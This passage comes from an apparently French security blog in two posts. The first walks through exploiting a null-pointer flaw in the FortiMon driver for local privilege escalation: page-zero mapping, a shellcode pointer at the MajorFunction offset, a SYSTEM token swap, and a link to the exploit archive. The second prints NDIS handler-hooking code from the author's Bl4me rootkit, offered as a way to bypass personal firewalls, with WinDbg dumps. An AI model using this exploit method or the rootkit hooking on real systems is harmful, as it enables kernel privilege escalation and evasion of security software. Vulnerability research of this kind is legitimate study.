En fait le driver va utiliser l’API IoRegisterFsRegistrationChange pour enregistrer une fonction de callback qui va servir à attacher un device sur sa device stack afin de filtrer ses IRP. C’est pour cela qu’il y a autant de devices, ils sont attachés à tous les devices gérant des systèmes de fichiers.

Maintenant regardons sous IDA l’initialisation du premier device, celui qui permet une communication avec l’user-land et qui doit d’être nommé. Ici il s’appel \\.\FortiMon. Ce genre de device est de type CDO (Control Device Object) contrairement aux autres devices unamed ici qui sont des FiDO (Filter Device Object) le CDO à pour rôle de recevoir des ordres depuis le user-land sous forme d’IOCTL.

; int __stdcall sub_104CE(PDRIVER_OBJECT DriverObject)
sub_104CE proc near

SymbolicLinkName= UNICODE_STRING ptr -14h
DestinationString= UNICODE_STRING ptr -0Ch
DeviceObject= dword ptr -4
DriverObject= dword ptr  8

push    ebp
mov     ebp, esp
sub     esp, 14h
push    esi
mov     esi, ds:RtlInitUnicodeString
push    offset SourceString ; "\\Device\\FortiMon"
lea     eax, [ebp+DestinationString]
push    eax             ; DestinationString
call    esi ; RtlInitUnicodeString
push    offset aDosdevicesFort ; "\\DosDevices\\FortiMon"
lea     eax, [ebp+SymbolicLinkName]
push    eax             ; DestinationString
call    esi ; RtlInitUnicodeString
lea     eax, [ebp+DeviceObject]
push    eax             ; DeviceObject
push    0               ; Exclusive
push    0               ; DeviceCharacteristics
push    22h             ; DeviceType
lea     eax, [ebp+DestinationString]
push    eax             ; DeviceName
push    44h             ; DeviceExtensionSize
push    [ebp+DriverObject] ; DriverObject
call    ds:IoCreateDevice
mov     esi, eax
test    esi, esi
jl      short loc_1054D

lea     eax, [ebp+DestinationString]
push    eax             ; DeviceName
lea     eax, [ebp+SymbolicLinkName]
push    eax             ; SymbolicLinkName
call    ds:IoCreateSymbolicLink
mov     esi, eax
test    esi, esi
jl      short loc_10544

mov     eax, [ebp+DeviceObject]
mov     edx, [eax+28h] ; DeviceExtension
push    edi
push    11h
pop     ecx
xor     eax, eax ;eax=0
mov     edi, edx
rep stosd ; <=> memset(DeviceExtension, 0, 0x11*4)
mov     dword ptr [edx+4], 1
mov     eax, [ebp+DeviceObject]
mov     [edx+8], eax
pop     edi
jmp     short loc_1054D

[...]

Okaj, le device est créé et recoit une structure DeviceExtension. A quoi ca sert ? En gros l’I/O manager fournit au développeur un champ unique pour chaque device lui permettant de stocker de données. Dans le cas d’un FiDO le DeviceExtension sert à contenir un pointeur sur le device attaché afin de pouvoir lui retransmettre les IRP.

C’est de la que vient la vuln, en effet le CDO ne filtrant pas d’IRP mais en recevant uniquement n’a pas besoin d’avoir de DeviceExtension or ici il en reçoit une qui est initialisé à 0.

Il faut savoir que les MajorFunctions ne font pas la différence entre les devices, ce que je veux dire, c’est que si le CDO reçoit une IRP sur la MajorFunction IRP_MJ_CREATE, du fait que le driver à un rôle de filtre l’IRP sera transmise au device en dessous. Et c’est bien là le gros problème, car le pointeur sur le device en dessous est stocké dans la DeviceExtenion or pour le CDO de ce driver celle-ci est nulle !! KABOOM !!!

Pour que vous compreniez mieux voiçi un code qui représente une MajorFunction qui envoie directement l’IRP au device suivant.

//dispatch down an IRP
NTSTATUS DispatchPassDown(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
    ULONG Status;

    IoSkipCurrentIrpStackLocation(pIrp);

    Status=IoCallDriver(((PDEVICE_EXTENSION)pDeviceObject->DeviceExtension)->AttachedToDeviceObject, pIrp);

    return Status;
}

Avec le fortimon.sys comme la DeviceExtension est nulle, la fonction IoCallDriver va tenter d’appeler la fonction d’un driver qui n’existe pas. Reste à exploiter cela …

On a IoCallDriver qui est de prototype :
NTSTATUS
IoCallDriver(
IN PDEVICE_OBJECT DeviceObject,
IN OUT PIRP Irp
);

On sait que le param DeviceObject sera NULL. L’idée consiste donc à allouer une page mémoire commençant à l’adresse 0×00000000. Il suffit ensuite de mettre dans cette zone mémoire les bonnes valeurs aux bons endroits pour réussir notre exploitation. Pour ce faire, on va disass IoCallDriver

kd> u IoCallDriver
nt!IoCallDriver:
8052dce4 8bff            mov     edi,edi
8052dce6 55              push    ebp
8052dce7 8bec            mov     ebp,esp
8052dce9 8b550c          mov     edx,dword ptr [ebp+0Ch]
8052dcec 8b4d08          mov     ecx,dword ptr [ebp+8]
8052dcef ff15002b5580    call    dword ptr [nt!pIofCallDriver (80552b00)]
8052dcf5 5d              pop     ebp
8052dcf6 c20800          ret     8

kd> uf nt!IopfCallDriver
nt!IopfCallDriver:
804e37d0 fe4a23          dec     byte ptr [edx+23h] ; edx=IRP, IRP->CurrentLocation--
804e37d3 8a4223          mov     al,byte ptr [edx+23h]
804e37d6 84c0            test    al,al ; si CurrentLocation <=0
804e37d8 0f8ec6850300    jle     nt!IopfCallDriver+0xa (8051bda4)

nt!IopfCallDriver+0x18:
804e37de 8b4260          mov     eax,dword ptr [edx+60h] ; current I/O stack location
804e37e1 83e824          sub     eax,24h
804e37e4 56              push    esi
804e37e5 894260          mov     dword ptr [edx+60h],eax ; next stack location
804e37e8 894814          mov     dword ptr [eax+14h],ecx ; ecx=DeviceObject
804e37eb 0fb600          movzx   eax,byte ptr [eax] ;eax=MajorFunction indice
804e37ee 8b7108          mov     esi,dword ptr [ecx+8] ;esi=DriverObject
804e37f1 52              push    edx
804e37f2 51              push    ecx
804e37f3 ff548638        call    dword ptr [esi+eax*4+38h] ;DriverObject.MajorFunction[eax]
804e37f7 5e              pop     esi
804e37f8 c3              ret

kd> dt nt!_DEVICE_OBJECT
   +0x000 Type             : Int2B
   +0x002 Size             : Uint2B
   +0x004 ReferenceCount   : Int4B
   +0x008 DriverObject     : Ptr32 _DRIVER_OBJECT
   +0x00c NextDevice       : Ptr32 _DEVICE_OBJECT
   +0x010 AttachedDevice   : Ptr32 _DEVICE_OBJECT
   +0x014 CurrentIrp       : Ptr32 _IRP
   +0x018 Timer            : Ptr32 _IO_TIMER
   +0x01c Flags            : Uint4B
   +0x020 Characteristics  : Uint4B
   +0x024 Vpb              : Ptr32 _VPB
   +0x028 DeviceExtension  : Ptr32 Void
   +0x02c DeviceType       : Uint4B
   +0x030 StackSize        : Char
   +0x034 Queue            : __unnamed
   +0x05c AlignmentRequirement : Uint4B
   +0x060 DeviceQueue      : _KDEVICE_QUEUE
   +0x074 Dpc              : _KDPC
   +0x094 ActiveThreadCount : Uint4B
   +0x098 SecurityDescriptor : Ptr32 Void
   +0x09c DeviceLock       : _KEVENT
   +0x0ac SectorSize       : Uint2B
   +0x0ae Spare1           : Uint2B
   +0x0b0 DeviceObjectExtension : Ptr32 _DEVOBJ_EXTENSION
   +0x0b4 Reserved         : Ptr32 Void

kd> dt nt!_DRIVER_OBJECT
   +0x000 Type             : Int2B
   +0x002 Size             : Int2B
   +0x004 DeviceObject     : Ptr32 _DEVICE_OBJECT
   +0x008 Flags            : Uint4B
   +0x00c DriverStart      : Ptr32 Void
   +0x010 DriverSize       : Uint4B
   +0x014 DriverSection    : Ptr32 Void
   +0x018 DriverExtension  : Ptr32 _DRIVER_EXTENSION
   +0x01c DriverName       : _UNICODE_STRING
   +0x024 HardwareDatabase : Ptr32 _UNICODE_STRING
   +0x028 FastIoDispatch   : Ptr32 _FAST_IO_DISPATCH
   +0x02c DriverInit       : Ptr32     long
   +0x030 DriverStartIo    : Ptr32     void
   +0x034 DriverUnload     : Ptr32     void
   +0x038 MajorFunction    : [28] Ptr32     long

Attention IopfCallDriver est convention d’appel FastCall, les params sont passés par ecx et edx. IopfCallDriver va donc prendre le DeviceObject et retrouvé à quel DriverObject il appartient, si la page qu’on alloue est mise à 0, on est sur que le DriverObject sera null lui aussi. Ensuite la fonction va appeler la MajorFunction en fonction du type d’IRP avec l’instruction : call dword ptr [esi+eax*4+38h] (esi=DriverOBject, eax=MajorFunction).

Comme nous pouvons choisir le type d’IRP que nous envoyons sur le CDO, on peut connaître la valeur de eax et donc choisir ce que va contenir [esi+eax*4+38h] et qu’est ce qu’on y met ? L’adresse d’un joli shellcode ring0 wOot !

Dans mon exploit j’ai choisit d’utiliser la MajorFunction IRP_MJ_FILE_SYSTEM_CONTROL envoyé par l’API native ZwFsControlFile. En fait j’ai eu un peu de mal à éviter les Fast I/O car si la requête passe dans ce genre de routine l’exploitation ne marchera pas, va falloir que je lise de la doc dessus.

Donc sachant que IRP_MJ_FILE_SYSTEM_CONTROL=0xD, il suffit de mettre à l’adresse 0+0xd*4+0×38 un pointeur sur notre shellcode qui modif le token du process courant par celui du process system et c’est bon, on a notre local privilege escalation :]

En tout ca le sploit que je vous fournis fonctionne très bien et vous le trouverez ici :
http://ivanlef0u.fr/repo/fortimon.rar

Voilà, voilà, j’espère que vous avez compris dans l’ensemble le principe de l’exploitation, n’hesitez pas à poser des questions.

6 comments février 28th, 2008

The truth about personal firewalls

Je viens de tomber sur un article monstrueux sur rootkit.com. The truth aboutpersonal firewalls plonge dans les méandres des firewalls Windows. Evidemment ca me rappel beaucoup les recherches que j’ai faite pour le rootkit Bl4me, le code se travaillant au niveau des handlers des NDIS_OPEN_BLOCK en les hookant avec le code suivant :

#pragma pack(push)
#pragma pack(1)
typedef struct _HOOK_CONTEXT_STRUCT
{
    //runtime code
    UCHAR    code1_0x58; //0x58 | pop  eax      | pop caller IP from stack to eax
    UCHAR    code2_0x68; //0x68 | push IMM      | push our hook context address
    struct _HOOK_CONTEXT_STRUCT *m_pHookContext;//point this
    UCHAR    code3_0x50; //0x50 | push eax        | push caller IP from eax to stack
    UCHAR    code4_0xE9; //0xE9 | jmp HookProc  | jump our hook proc
    ULONG   m_pHookProcOffset;

    //our context data

    PVOID    m_pOriginalProc;
    PVOID    m_pHookProc;
    PVOID    m_pBindAdaptHandle;
    PVOID    m_pProtocolContent;
    PVOID   *m_ppOriginPtr;

    struct _HOOK_CONTEXT_STRUCT *m_pHookNext;

}HOOK_CONTEXT_STRUCT;
#pragma pack(pop)

HOOK_CONTEXT_STRUCT    *HookNdisFunc(PVOID pHookProc,PVOID *ppOrigProc,PVOID pBindAdAptHAndle,PVOID pProtocolContent)
{
    HOOK_CONTEXT_STRUCT    *pHookContext;
    PVOID    OrgFunc;

    pHookContext = IsHookedNdisFunc(ppOrigProc[0]);
    if(pHookContext){
        OrgFunc = pHookContext->m_pOriginalProc;
    }
    else{
        OrgFunc = ppOrigProc[0];
    }
    if (OrgFunc == NULL){
        return NULL;
    }

    pHookContext = IsHookedNdisFuncEx(ppOrigProc);
    if(pHookContext){
        return pHookContext;
    }

    NdisAllocateMemoryWithTag(&pHookContext,sizeof(HOOK_CONTEXT_STRUCT),'ytaU');
    if(pHookContext == NULL){
        return NULL;
    }
    memset(pHookContext,0,sizeof(HOOK_CONTEXT_STRUCT));

    pHookContext->code1_0x58 = 0x58;
    pHookContext->code2_0x68 = 0x68;
    pHookContext->code3_0x50 = 0x50;
    pHookContext->code4_0xE9 = 0xE9;

    pHookContext->m_pHookContext        = pHookContext;
    pHookContext->m_pHookProcOffset        = ((ULONG)pHookProc) - (((ULONG)&pHookContext->m_pHookProcOffset) + sizeof(ULONG));
    pHookContext->m_pBindAdaptHandle    = pBindAdAptHAndle;
    pHookContext->m_pProtocolContent    = pProtocolContent;
    pHookContext->m_pOriginalProc        = OrgFunc;
    pHookContext->m_ppOriginPtr            = ppOrigProc;
    pHookContext->m_pHookProc            = pHookProc;
    pHookContext->m_pHookNext            = m_pOurAllOfHookContext;
    m_pOurAllOfHookContext                = pHookContext;

    ppOrigProc[0] = pHookContext;

    return pHookContext;
}

He wi, le code fonctionne comme le firewall Zone Alarm en allouant dans la non-paged pool un petit bout de code jumpant sur notre handler, c’est tout mimi et ca marche, en mémoire en se retrouve donc avec :

kd> !protocols
 Protocol 80d5bd40: NDISUIO
    Open 80e2fef0 - Miniport: 80df3140 Carte Fast Ethernet PCI à base de Intel 21140 (Générique)

 Protocol 80dcc5f0: TCPIP_WANARP
    Open 80e002f0 - Miniport: 80de8140 Miniport réseau étendu (IP)

 Protocol 80d4c878: TCPIP
    Open 80dc8c50 - Miniport: 80df3140 Carte Fast Ethernet PCI à base de Intel 21140 (Générique)

 Protocol 80dbb3a8: NDPROXY
    Open 80e0f610 - Miniport: 80dad140 Parallèle direct
    Open 80e20e78 - Miniport: 80dad140 Parallèle direct
    Open 80dba668 - Miniport: 80df0298 Miniport réseau étendu (L2TP)
    Open 80dab3a0 - Miniport: 80df0298 Miniport réseau étendu (L2TP)

 Protocol 80db0008: RASPPPOE

 Protocol 80de9a38: NDISWAN
    Open 80e86660 - Miniport: 80dad140 Parallèle direct
    Open 80e19e60 - Miniport: 80db17f8 Miniport réseau étendu (PPTP)
    Open ffb711a8 - Miniport: 80db0a50 Miniport WAN (PPPOE)
    Open 80df8210 - Miniport: 80df0298 Miniport réseau étendu (L2TP)

kd> dt ndis!_NDIS_OPEN_BLOCK 80dc8c50
   +0x000 MacHandle        : 0x80de5680
   +0x004 BindingHandle    : 0x80dc8c50
   +0x008 MiniportHandle   : 0x80df3140 _NDIS_MINIPORT_BLOCK
   +0x00c ProtocolHandle   : 0x80d4c878 _NDIS_PROTOCOL_BLOCK
   +0x010 ProtocolBindingContext : 0x80db9008
   +0x014 MiniportNextOpen : (null)
   +0x018 ProtocolNextOpen : (null)
   +0x01c MiniportAdapterContext : 0xffb6d000
   +0x020 Reserved1        : 0 ''
   +0x021 Reserved2        : 0 ''
   +0x022 Reserved3        : 0 ''
   +0x023 Reserved4        : 0 ''
   +0x024 BindDeviceName   : 0x80df3150 _UNICODE_STRING "\DEVICE\{63543126-4B56-472E-AF47-97C5FEC7D5B4}"
   +0x028 Reserved5        : 0
   +0x02c RootDeviceName   : 0x80dd556c _UNICODE_STRING "\DEVICE\{63543126-4B56-472E-AF47-97C5FEC7D5B4}"
   +0x030 SendHandler      : 0xfa5ceb31     int  NDIS!ndisMFakeSend+0
   +0x030 WanSendHandler   : 0xfa5ceb31     int  NDIS!ndisMFakeSend+0
   +0x034 TransferDataHandler : 0xfa5ccfd5     int  NDIS!ndisMTransferData+0
   +0x038 SendCompleteHandler : 0x80d5cc00     void  +ffffffff80d5cc00
   +0x03c TransferDataCompleteHandler : 0xfa3ae105     void  tcpip!ARPTDComplete+0
   +0x040 ReceiveHandler   : 0xffb88768     int  +ffffffffffb88768
   +0x044 ReceiveCompleteHandler : 0xfa3807ed     void  tcpip!ARPRcvComplete+0
   +0x048 WanReceiveHandler : (null)
   +0x04c RequestCompleteHandler : 0xfa3873fb     void  tcpip!ARPRequestComplete+0
   +0x050 ReceivePacketHandler : 0x80ddfc10     int  +ffffffff80ddfc10
   +0x054 SendPacketsHandler : 0xfa5cea8f     void  NDIS!ndisMFakeSendPackets+0
   +0x058 ResetHandler     : 0xfa5ceb0c     int  NDIS!ndisMFakeReset+0
   +0x05c RequestHandler   : 0xfa5cb988     int  NDIS!ndisMRequest+0
   +0x060 ResetCompleteHandler : 0xfa3ae127     void  tcpip!ARPResetComplete+0
   +0x064 StatusHandler    : 0xfa39a1e1     void  tcpip!ARPStatus+0
   +0x068 StatusCompleteHandler : 0xfa39a0d9     void  tcpip!ARPStatusComplete+0
   +0x06c Flags            : 0x100
   +0x070 References       : 1
   +0x074 SpinLock         : 0
   +0x078 FilterHandle     : 0x80dcef20
   +0x07c ProtocolOptions  : 0
   +0x080 CurrentLookahead : 0x80
   +0x082 ConnectDampTicks : 0
   +0x084 DisconnectDampTicks : 0
   +0x088 WSendHandler     : 0xfa84a58c     int  dc21x4!DC21X4Send+0
   +0x08c WTransferDataHandler : (null)
   +0x090 WSendPacketsHandler : (null)
   +0x094 CancelSendPacketsHandler : (null)
   +0x098 WakeUpEnable     : 0
   +0x09c CloseCompleteEvent : (null)
   +0x0a0 QC               : _QUEUED_CLOSE
   +0x0b4 AfReferences     : 0
   +0x0b8 NextGlobalOpen   : 0x80e002f0 _NDIS_OPEN_BLOCK
   +0x0bc NextAf           : (null)
   +0x0c0 MiniportCoCreateVcHandler : 0x0a0e0019     int  +a0e0019
   +0x0c4 MiniportCoRequestHandler : 0x6d66444e     int  +6d66444e
   +0x0c8 CoCreateVcHandler : (null)
   +0x0cc CoDeleteVcHandler : (null)
   +0x0d0 CmActivateVcCompleteHandler : (null)
   +0x0d4 CmDeactivateVcCompleteHandler : (null)
   +0x0d8 CoRequestCompleteHandler : (null)
   +0x0dc ActiveVcHead     : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x0e4 InactiveVcHead   : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x0ec PendingAfNotifications : 0
   +0x0f0 AfNotifyCompleteEvent : 0xfa5cd122 _KEVENT

kd> u ffffffff80d5cc00 //SendCompleteHandler
80d5cc00 58              pop     eax
80d5cc01 6800ccd580      push    80D5CC00h
80d5cc06 50              push    eax
80d5cc07 e922a9f175      jmp     kernel_tcp!HookProtocolSendComplete (f6c7752e)
80d5cc0c a837            test    al,37h
80d5cc0e 38fa            cmp     dl,bh
80d5cc10 2e75c7          hnt jne 80d5cbda
80d5cc13 f6508c          not     byte ptr [eax-74h]

Si on dump la struct HOOK_CONTEXT_STRUCT on peut retrouver aussi le handler original à l’offset 0xC

kd> dd 80d5cc00 l 24
80d5cc00  cc006858 e95080d5 75f1a922 fa3837a8
80d5cc10  f6c7752e 80dc8c50 80d4c878 80dc8c88
80d5cc20  80ddfc10 80d5cc20 0a0a0006 ee657645
80d5cc30  e1034838 00380038 e1231900 00000001
80d5cc40  80dcf388 80d8d0d0 000002d4 84000000
80d5cc50  00000003 00000001 80ef9450 24000020
80d5cc60  805609e0 e127473f 8004bc00 00000000
80d5cc70  80e40a20 80e40a20 0a08000a ee657645
80d5cc80  80d5ccc0 ffb9e308 000002d4 00000000
kd> ln fa3837a8
(fa3837a8)   tcpip!ARPSendComplete   |  (fa383829)   tcpip!GetARPBufferAtDpcLevel
Exact matches:
    tcpip!ARPSendComplete = 

Bon il est clair que le code de Bl4me est expérimental mais il suffit à bypass pas mal de firewall actuel même si il est dit dans l’article que certains fw comme Outpost restorent leurs handlers, il est toujours possible de contourner cette sécurité. Pour les paquets sortant on utilise les fonctions NdisMSendPackets et ndisMSendX en les envoyant direct sur le Miniport :

VOID (* pndisMSendPacketsX)(
    IN NDIS_HANDLE  NdisBindingHandle,
    IN PPNDIS_PACKET  PacketArray,
    IN UINT  NumberOfPackets
    );

Pour les paquets sortant, on tape direct sur le NDIS_MINIPORT_BLOCK plus précisément sur les blocks servant à la fonction NDIS!ethFilterDprIndicateReceivePacket pour dispatcher les packets sur les NDIS_OPEN_BLOCK attachés au miniport.
Exemple :

kd> !miniports
NDIS Driver verifier level: 0
NDIS Failed allocations   : 0
Miniport Driver Block: 80dac8b8, Version 0.0
  Miniport: 80dad140, NetLuidIndex: 0, IfIndex: 0, Parallèle direct
Miniport Driver Block: 80db1db8, Version 0.0
  Miniport: 80db17f8, NetLuidIndex: 0, IfIndex: 0, Miniport réseau étendu (PPTP)
Miniport Driver Block: 80db2080, Version 0.0
  Miniport: 80db0a50, NetLuidIndex: 0, IfIndex: 0, Miniport WAN (PPPOE)
Miniport Driver Block: 80de9950, Version 0.0
  Miniport: 80de8140, NetLuidIndex: 0, IfIndex: 0, Miniport réseau étendu (IP)
Miniport Driver Block: 80df07d8, Version 0.0
  Miniport: 80df0298, NetLuidIndex: 0, IfIndex: 0, Miniport réseau étendu (L2TP)
Miniport Driver Block: 80df4880, Version 5.5
  Miniport: 80df3140, NetLuidIndex: 0, IfIndex: 0, Carte Fast Ethernet PCI à base de Intel 21140 (Générique)
kd> dt nt!_NDIS_MINIPORT_BLOCK 80df4880

kd> dt ndis!_NDIS_MINIPORT_BLOCK 80df3140
   +0x000 Signature        : 0x504d444e
   +0x004 NextMiniport     : (null)
   +0x008 DriverHandle     : 0x80df4880 _NDIS_M_DRIVER_BLOCK
   +0x00c MiniportAdapterContext : 0xffb6d000
   +0x010 MiniportName     : _UNICODE_STRING "\DEVICE\{63543126-4B56-472E-AF47-97C5FEC7D5B4}"
   +0x018 BindPaths        : 0x80dd5568 _NDIS_BIND_PATHS
   +0x01c OpenQueue        : 0x80e2fef0
   +0x020 ShortRef         : _REFERENCE
   +0x028 DeviceContext    : (null)
   +0x02c Padding1         : 0 ''
   +0x02d LockAcquired     : 0 ''
   +0x02e PmodeOpens       : 0 ''
   +0x02f AssignedProcessor : 0 ''
   +0x030 Lock             : 0
   +0x034 MediaRequest     : (null)
   +0x038 Interrupt        : 0xffb6d008 _NDIS_MINIPORT_INTERRUPT
   +0x03c Flags            : 0xc412008
   +0x040 PnPFlags         : 0x10210000
   +0x044 PacketList       : _LIST_ENTRY [ 0x80df3184 - 0x80df3184 ]
   +0x04c FirstPendingPacket : (null)
   +0x050 ReturnPacketsQueue : (null)
   +0x054 RequestBuffer    : 0xb
   +0x058 SetMCastBuffer   : (null)
   +0x05c PrimaryMiniport  : 0x80df3140 _NDIS_MINIPORT_BLOCK
   +0x060 WrapperContext   : 0x80df30f8
   +0x064 BusDataContext   : 0x80eaef08
   +0x068 PnPCapabilities  : 0x30
   +0x06c Resources        : (null)
   +0x070 WakeUpDpcTimer   : _NDIS_TIMER
   +0x0b8 BaseName         : _UNICODE_STRING "{63543126-4B56-472E-AF47-97C5FEC7D5B4}"
   +0x0c0 SymbolicLinkName : _UNICODE_STRING "\??\PCI#VEN_1011&DEV_0009&SUBSYS_21140A00&REV_20#3&267a616a&0&50#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{63543126-4B56-472E-AF47-97C5FEC7D5B4}"
   +0x0c8 CheckForHangSeconds : 2
   +0x0cc CFHangTicks      : 1
   +0x0ce CFHangCurrentTick : 1
   +0x0d0 ResetStatus      : 0
   +0x0d4 ResetOpen        : (null)
   +0x0d8 EthDB            : 0x80e438e8 _X_FILTER
   +0x0d8 NullDB           : 0x80e438e8 _X_FILTER
   +0x0dc TrDB             : (null)
   +0x0e0 FddiDB           : (null)
   +0x0e4 ArcDB            : (null)
   +0x0e8 PacketIndicateHandler : 0xfa5baa0b     void  NDIS!ndisMDummyIndicatePacket+0
   +0x0ec SendCompleteHandler : 0xfa5ccbc3     void  NDIS!NdisMSendComplete+0
   +0x0f0 SendResourcesHandler : 0xfa5d2a24     void  NDIS!NdisMSendResourcesAvailable+0
   +0x0f4 ResetCompleteHandler : 0xfa5d408f     void  NDIS!NdisMResetComplete+0
   +0x0f8 MediaType        : 0 ( NdisMedium802_3 )
   +0x0fc BusNumber        : 0
   +0x100 BusType          : 5 ( NdisInterfacePci )
   +0x104 AdapterType      : 5 ( NdisInterfacePci )
   +0x108 DeviceObject     : 0x80df3040 _DEVICE_OBJECT
   +0x10c PhysicalDeviceObject : 0x80eaee50 _DEVICE_OBJECT
   +0x110 NextDeviceObject : 0x80eaee50 _DEVICE_OBJECT
   +0x114 MapRegisters     : 0x80d9eab0 _MAP_REGISTER_ENTRY
   +0x118 CallMgrAfList    : (null)
   +0x11c MiniportThread   : (null)
   +0x120 SetInfoBuf       : (null)
   +0x124 SetInfoBufLen    : 0
   +0x126 MaxSendPackets   : 0
   +0x128 FakeStatus       : -1073676257
   +0x12c LockHandler      : 0xfa5cfd89
   +0x130 pAdapterInstanceName : 0x80e7fbc0 _UNICODE_STRING "Carte Fast Ethernet PCI à base de Intel 21140 (Générique)"
   +0x134 TimerQueue       : (null)
   +0x138 MacOptions       : 0x8f
   +0x13c PendingRequest   : (null)
   +0x140 MaximumLongAddresses : 0x24
   +0x144 MaximumShortAddresses : 0
   +0x148 CurrentLookahead : 0x80
   +0x14c MaximumLookahead : 0x200
   +0x150 HandleInterruptHandler : 0xfa846094     void  dc21x4!DC21X4HandleInterrupt+0
   +0x154 DisableInterruptHandler : 0xfa846e32     void  dc21x4!DC21X4DisableInterrupt+0
   +0x158 EnableInterruptHandler : 0xfa846e18     void  dc21x4!DC21X4EnableInterrupt+0
   +0x15c SendPacketsHandler : 0xfa5cd31c     void  NDIS!ndisMSendPackets+0
   +0x160 DeferredSendHandler : 0xfa5cc997     unsigned char  NDIS!ndisMStartSends+0
   +0x164 EthRxIndicateHandler : 0xfa5d9af6     void  NDIS!EthFilterDprIndicateReceive+0
   +0x168 TrRxIndicateHandler : 0xfa5da1f1     void  NDIS!TrFilterDprIndicateReceive+0
   +0x16c FddiRxIndicateHandler : 0xfa5d81f8     void  NDIS!FddiFilterDprIndicateReceive+0
   +0x170 EthRxCompleteHandler : 0xfa5d9971     void  NDIS!EthFilterDprIndicateReceiveComplete+0
   +0x174 TrRxCompleteHandler : 0xfa5daa2d     void  NDIS!TrFilterDprIndicateReceiveComplete+0
   +0x178 FddiRxCompleteHandler : 0xfa5d77fc     void  NDIS!FddiFilterDprIndicateReceiveComplete+0
   +0x17c StatusHandler    : 0xfa5d0a5f     void  NDIS!NdisMIndicateStatus+0
   +0x180 StatusCompleteHandler : 0xfa5d0c9d     void  NDIS!NdisMIndicateStatusComplete+0
   +0x184 TDCompleteHandler : 0xfa5ccf44     void  NDIS!NdisMTransferDataComplete+0
   +0x188 QueryCompleteHandler : 0xfa5cf907     void  NDIS!NdisMQueryInformationComplete+0
   +0x18c SetCompleteHandler : 0xfa5cfce3     void  NDIS!NdisMSetInformationComplete+0
   +0x190 WanSendCompleteHandler : 0xfa5cd26d     void  NDIS!NdisMWanSendComplete+0
   +0x194 WanRcvHandler    : 0xfa5d38a1     void  NDIS!NdisMWanIndicateReceive+0
   +0x198 WanRcvCompleteHandler : 0xfa5d3941     void  NDIS!NdisMWanIndicateReceiveComplete+0
   +0x19c NextGlobalMiniport : (null)
   +0x1a0 WorkQueue        : [7] _SINGLE_LIST_ENTRY
   +0x1bc SingleWorkItems  : [6] _SINGLE_LIST_ENTRY
   +0x1d4 SendFlags        : 0 ''
   +0x1d5 TrResetRing      : 0 ''
   +0x1d6 ArcnetAddress    : 0 ''
   +0x1d7 XState           : 0x2 ''
   +0x1d8 ArcBuf           : (null)
   +0x1d8 BusInterface     : (null)
   +0x1dc Log              : (null)
   +0x1e0 SlotNumber       : 0xffffffff
   +0x1e4 AllocatedResources : 0x80df68a0 _CM_RESOURCE_LIST
   +0x1e8 AllocatedResourcesTranslated : 0x80df6904 _CM_RESOURCE_LIST
   +0x1ec PatternList      : _SINGLE_LIST_ENTRY
   +0x1f0 PMCapabilities   : _NDIS_PNP_CAPABILITIES
   +0x200 DeviceCaps       : _DEVICE_CAPABILITIES
   +0x240 WakeUpEnable     : 0
   +0x244 CurrentDevicePowerState : 1 ( PowerDeviceD0 )
   +0x248 pIrpWaitWake     : (null)
   +0x24c WaitWakeSystemState : 0 ( PowerSystemUnspecified )
   +0x250 VcIndex          : _LARGE_INTEGER 0x0
   +0x258 VcCountLock      : 0
   +0x25c WmiEnabledVcs    : _LIST_ENTRY [ 0x80df339c - 0x80df339c ]
   +0x264 pNdisGuidMap     : 0x80dde900 _NDIS_GUID
   +0x268 pCustomGuidMap   : (null)
   +0x26c VcCount          : 0
   +0x26e cNdisGuidMap     : 0x40
   +0x270 cCustomGuidMap   : 0
   +0x272 CurrentMapRegister : 0x7f
   +0x274 AllocationEvent  : 0xfabb82e0 _KEVENT
   +0x278 BaseMapRegistersNeeded : 0x80
   +0x27a SGMapRegistersNeeded : 0x10
   +0x27c MaximumPhysicalMapping : 0x600
   +0x280 MediaDisconnectTimer : _NDIS_TIMER
   +0x2c8 MediaDisconnectTimeOut : 0xffff
   +0x2ca InstanceNumber   : 1
   +0x2cc OpenReadyEvent   : _NDIS_EVENT
   +0x2dc PnPDeviceState   : 1 ( NdisPnPDeviceStarted )
   +0x2e0 OldPnPDeviceState : 0 ( NdisPnPDeviceAdded )
   +0x2e4 SetBusData       : 0xfa704330     unsigned long  pci!PciPnpWriteConfig+0
   +0x2e8 GetBusData       : 0xfa704306     unsigned long  pci!PciPnpReadConfig+0
   +0x2ec DeferredDpc      : _KDPC
   +0x310 NdisStats        : _NDIS_STATS
   +0x328 IndicatedPacket  : [32] (null)
   +0x3a8 RemoveReadyEvent : (null)
   +0x3ac AllOpensClosedEvent : (null)
   +0x3b0 AllRequestsCompletedEvent : (null)
   +0x3b4 InitTimeMs       : 0xd88
   +0x3b8 WorkItemBuffer   : [6] _NDIS_MINIPORT_WORK_ITEM
   +0x400 SystemAdapterObject : 0x80dd5788 _DMA_ADAPTER
   +0x404 DriverVerifyFlags : 0
   +0x408 OidList          : 0x80dd8d58 _OID_LIST
   +0x40c InternalResetCount : 0
   +0x40e MiniportResetCount : 0
   +0x410 MediaSenseConnectCount : 0
   +0x412 MediaSenseDisconnectCount : 2
   +0x414 xPackets         : (null)
   +0x418 UserModeOpenReferences : 0
   +0x41c SavedSendHandler : 0xfa5ccd33
   +0x41c SavedWanSendHandler : 0xfa5ccd33
   +0x420 SavedSendPacketsHandler : 0xfa5cd31c     void  NDIS!ndisMSendPackets+0
   +0x424 SavedCancelSendPacketsHandler : (null)
   +0x428 WSendPacketsHandler : (null)
   +0x42c MiniportAttributes : 8
   +0x430 SavedSystemAdapterObject : (null)
   +0x434 NumOpens         : 2
   +0x436 CFHangXTicks     : 0
   +0x438 RequestCount     : 0
   +0x43c IndicatedPacketsCount : 0
   +0x440 PhysicalMediumType : 0
   +0x444 LastRequest      : 0xf7526b6c _NDIS_REQUEST
   +0x448 DmaAdapterRefCount : 8
   +0x44c FakeMac          : 0x80de5680
   +0x450 LockDbg          : 0
   +0x454 LockDbgX         : 0
   +0x458 LockThread       : (null)
   +0x45c InfoFlags        : 0x2010211
   +0x460 TimerQueueLock   : 0
   +0x464 ResetCompletedEvent : (null)
   +0x468 QueuedBindingCompletedEvent : (null)
   +0x46c DmaResourcesReleasedEvent : (null)
   +0x470 SavedPacketIndicateHandler : 0xfa5d8b21     void  NDIS!ethFilterDprIndicateReceivePacket+0
   +0x474 RegisteredInterrupts : 1
   +0x478 SGListLookasideList : (null)
